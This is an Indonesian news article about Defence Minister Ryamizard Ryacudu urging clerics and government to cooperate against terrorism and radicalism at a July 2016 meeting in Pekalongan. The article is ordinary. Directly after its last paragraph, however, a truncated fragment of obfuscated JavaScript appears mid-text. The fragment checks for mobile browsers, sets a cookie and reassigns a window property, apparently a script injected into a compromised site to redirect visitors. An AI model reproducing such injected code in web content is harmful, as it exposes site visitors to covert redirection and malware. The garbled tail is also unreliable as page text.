Sinergi Ulama dan Umarah dibutuhkan untuk menangkal Terorisme dan Radikalisme

Ryamizard

Ryamizard

Foto diambil dari http://sidomi.com

Kerjasama semua pihak terutama ulama dan umarah dalam memerangi kegiatan terorisme dan radikalisme sangat diperlukan. Hal ini disampaikan oleh Menhan Ryamizard Ryacudu saat bersilaturahmi dengan para ulama di Pekalongan.

Dalam silaturahmi dan pertemuan yang diselenggarakan pada 26 juli 2016 lalu ini dihadiri oleh para ulama dari 46 negara.

Kegiatan diselenggarakan di rumah kediaman Habib Muhammad Luthfi bin Ali bin Yahya. Beliau adalah Ketua Jamiyyah Ahlit Thoriqoh al Mutabaroh An Nahdliyah (Jatman).

Ryamizard mengatakan bahwa ancaman kelompok teroris dan radikal ini sudah sangat mengkhawatirkan. Kegiatan terorisme ini amat sangat mengganggu dan mengancam stabilitas negara Indonesia yang nota bene masyarakatnya cinta damai.

Indonesia saat ini menghadapi berbagai macam ancaman baik secara fisik maupun nonfisik. Efek yang ditimbulkan selain ketakutan juga membuat masyarakat saling curiga dan menebarkan kebencian.

Dikatakan bahwa tindakan terorisme dan radikalisme ini sudah tentu mencederai umat Islam yang selama ini sudah dijaga oleh para ulama. Karena paham ini tidak sesuai dengan ajaran Islam yang cinta Damai dan membawa rahmat atau rahmatan lil alamin.

Ditambahkan lagi oleh Ryamizard dalam pertemuan itu bahwa situasi ini merupakan PR besar bagi kita semua terutama para ulama

“Kita semua mengecam aksi teror yang telah merusak nama baik Islam yang dikenal sebagai agama mengasihi bukan mengajarkan membunuh karena tidak ada hadis atau ayat Al Quran yang mengajarkan untuk membunuh apalagi bunuh diri. Dosa terbesar manusia yang tidak diampuni Allah adalah bunuh diri. Apalagi bunuh diri dan membunuh orang lain,” tegas Ryamizard.

Ryamizard mengharapkan dengan Konferensi Ulama di pekalongan ini, para ulama dari 46 negara dapat menjalin kerja sama dengan umarah (pemerintah) untuk tidak menyerah dan bahu membahu memberikan pemahaman kepada masyarakat tentang paham radikalisme.

Harapan Ryamizard pula, semoga kelompok-kelompok radikal dan teroris ini sadar dan kembali ke jalan yang benar. Ke jalan Islam yang teduh dan damai, yang rahmatan lil alamin sesuai dengan Al Quran dan Hadis.

“Kita sebagai bangsa yang besar, tentu tidak akan lupa dengan bagaimana negara ini didirikan. Semoga kedamaian akan selalu menyertai bangsa ini, Bangsa Indonesia. Kalau ini terjadi, betapa nyaman dan tenteram hidup di Bumi Pertiwi”, imbuh seorang ulama yang hadir. 8)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *